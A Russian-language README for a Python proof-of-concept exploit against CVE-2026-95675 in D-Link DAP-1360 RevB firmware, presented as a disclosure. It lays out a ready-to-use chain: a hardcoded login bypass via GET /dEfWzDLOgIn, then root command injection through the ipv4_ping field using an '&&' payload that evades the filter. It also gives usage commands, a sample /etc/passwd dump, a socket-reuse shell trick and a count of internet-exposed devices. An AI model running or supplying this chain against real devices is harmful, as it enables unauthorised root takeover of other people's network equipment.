
Python PoC, эксплуатирующий CVE-2026-95675 — неаутентифицированную инъекцию команд с правами root в прошивке D-Link DAP-1360 RevB через жёстко закодированный обход аутентификации и обработчик formSystemCheck.

Неаутентифицированное удалённое выполнение команд от имени root (CWE-78 — внедрение команд ОС)
в обработчике formSystemCheck, доступном через жёстко закодированный бэкдор
аутентификации. Подтверждено на DAP-1360 RevB, прошивка 2.14B05.
Две независимые проблемы, объединённые в цепочку:
1. Жёстко закодированный путь обхода аутентификации. В main (httpd @ 0x4064c8):
strcasecmp(request_path, "dEfWzDLOgIn") ; token @ 0x48046c
...
sw 1, 8(sp_login_slot) ; mark this source-IP as logged in
GET /dEfWzDLOgIn возвращает 404 (это не реальный файл), но как побочный
эффект помечает слот сессии исходного IP запроса как аутентифицированный — без
имени пользователя, пароля или капчи.
2. Внедрение команд ОС. formSystemCheck
(POST /apply.cgi?formSystemCheck) формирует команду оболочки с помощью:
_system("ping %s -c 2 >/tmp/test_ping", cgi("ipv4_ping"))
ipv4_ping передаётся в строку формата без санитизации; _system() использует
vsprintf в буфер фиксированного размера на стеке и передаёт его в system(). Сам
обработчик не выполняет никакой проверки аутентификации.
Парсер тела POST от busybox удаляет ;, |, обратную кавычку и перевод строки, но
&& сохраняется. Полезная нагрузка должна завершить префикс ping, а затем
сцепиться через &&, например:
127.0.0.1 -c 1 && <command> > /www/out.htm && x
python3 autopoc.py <target> [command]
python3 autopoc.py 192.168.0.50
python3 autopoc.py 192.168.0.50 "ls -la /"
| Аргумент | Описание |
|---|---|
target | целевой хост/IP (схема по умолчанию http://) |
command (необязательно) | команда root для выполнения (по умолчанию: ); используйте , а не /` |
GET /dEfWzDLOgIn — запускает жёстко закодированный обход аутентификации (возвращает 404; побочный эффект происходит на стороне сервера).POST /apply.cgi?formSystemCheck с ipv4_ping=127.0.0.1 -c 1 && <cmd> > /www/<OUT> && x — внедрение команды root.GET /<OUT> — извлекает вывод команды (httpd отдаёт .htm/.html, но не .txt).[*] target : 192.168.0.50
[*] command : cat /etc/passwd
[*] GET /dEfWzDLOgIn -> 404 (login slot flagged)
[*] POST /apply.cgi?formSystemCheck -> 302
[+] output (RCE.htm):
------------------------------------------------------------
root:x:0:0:root:/:/dev/null
nobody:x:0:0:nobody:/:/dev/null
------------------------------------------------------------
nc, wget, base64, chmod, id — используйте cat, echo, ls, cp и т. п._system(), sh <&5 >&5 2>&5 может подключить оболочку к живому соединению (ненадёжно под QEMU в пользовательском режиме; лучше на реальном оборудовании).Shodan ("CAMEO-httpd", баннер производителя httpd) показывает лишь небольшое число
экземпляров этой конкретной кодовой базы, доступных из интернета; устройство в первую
очередь является точкой доступа в локальной сети. Для эксплуатации требуется
доступность веб-интерфейса управления.
cat /etc/passwd&&;